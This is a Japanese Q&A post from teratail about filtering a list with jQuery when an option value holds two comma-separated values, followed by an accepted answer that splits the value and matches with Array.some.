### 実現したいこと js・jqueryによる絞り込みを行う際に、 <select>内のoption valueに複数の値を入れ、 どちらかの値に一致していれば、 表示するようにしたいです。 ### 発生している問題・エラーメッセージ ``` エラーは特に出ておりません。 ``` ### 該当のソースコード ``` <html lang="ja"> <head> <title>HTML, CSS and JavaScript demo</title> <meta name="viewport" content="width=device-width, maximum-scale=1.0, user-scalable=no"> <link rel="stylesheet" type="text/css" href="test.css"> <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script> <script type="text/javascript" src="function.js"></script> </head> <body> <div class="serchBox"> <select name="region"> <option value="">地域を選択</option> <option value="matudo,all">松戸市</option> <option value="chiba">千葉市</option> <option value="katuura">勝浦市</option> <option value="abiko">我孫子市</option> <option value="okashiwa">柏市</option> </select> <button id="search">検索</button> <button id="reset">リセット</button> </div> <div class="list" data-tiiki='["all"]'>松戸市 </div> <div class="list" data-tiiki='["matudo"]'>松戸市 </div> </body> </html> ``` ``` $(function() { var lists = $('.list'); $(document).on('click', 'button', function() { filter_list(); }); // リセットボタンをクリックしたときの処理 $('#reset').on('click', function() { // フォームのselectとcheckboxをリセット $('.serchBox select').val(''); // リストの絞り込みをリセット filter_list(); }); function filter\_list() { lists.show(); for (var i = 0; i < $('.serchBox select').length; i++) { // 絞り込みの項目を取得 var item = $('.serchBox select').eq(i).attr('name'); // 絞り込みの対象を取得 var target = $('.serchBox select').eq(i).val(); if(target != '') { for (var j = 0; j < lists.length; j++) { // 絞り込み対象でない場合は非表示 if(lists.eq(j).data('tiiki').indexOf(target) === -1) { lists.eq(j).hide(); } }; } }; } }); ``` ### 試したこと <option value="matudo">松戸市</option> 上記のソースコードを <option value="matudo,all">松戸市</option> という形で、,で区切って、2つの値を入れ、 jsで絞りこみをしたときに、 <div class="list" data-tiiki='["all"]'>松戸市 </div> <div class="list" data-tiiki='["matudo"]'>松戸市 </div> 上記2つどちらとも表示されるようにならないか 試してみましたが、 うまくいきませんでした。 何卒宜しくお願い致します。
option valueに複数の値を入れ、絞り込み検索できるようにしたい ====================================
teratail.com
2020.34
[ { "text": "\n```\n<script>\n$(function(){\n $('[name=region]').on('change',function(){\n var vals=$(this).val().split(\",\");\n $('.list').hide().filter(function(){\n return $(this).data(\"tiiki\").some(function(x){\n return vals.indexOf(x)>-1;\n });\n }).show();\n }).trigger('change');\n});\n</script>\n\n<div class=\"serchBox\">\n <select name=\"region\">\n <option value=\"\">地域を選択</option>\n <option value=\"all\">ALL</option>\n <option value=\"matudo\">松戸のみ</option>\n <option value=\"matudo,all\">松戸・ALL</option>\n <option value=\"chiba\">千葉市</option>\n <option value=\"katuura\">勝浦市</option>\n <option value=\"abiko\">我孫子市</option>\n <option value=\"okashiwa\">柏市</option>\n </select>\n <button type=\"button\" id=\"search\">検索</button>\n <button type=\"button\" id=\"reset\">リセット</button>\n</div>\n\n<div class=\"list\" data-tiiki='[\"all\"]'>松戸市</div>\n<div class=\"list\" data-tiiki='[\"matudo\"]'>松戸市</div>\n```\n", "name": "", "is_accepted": true } ]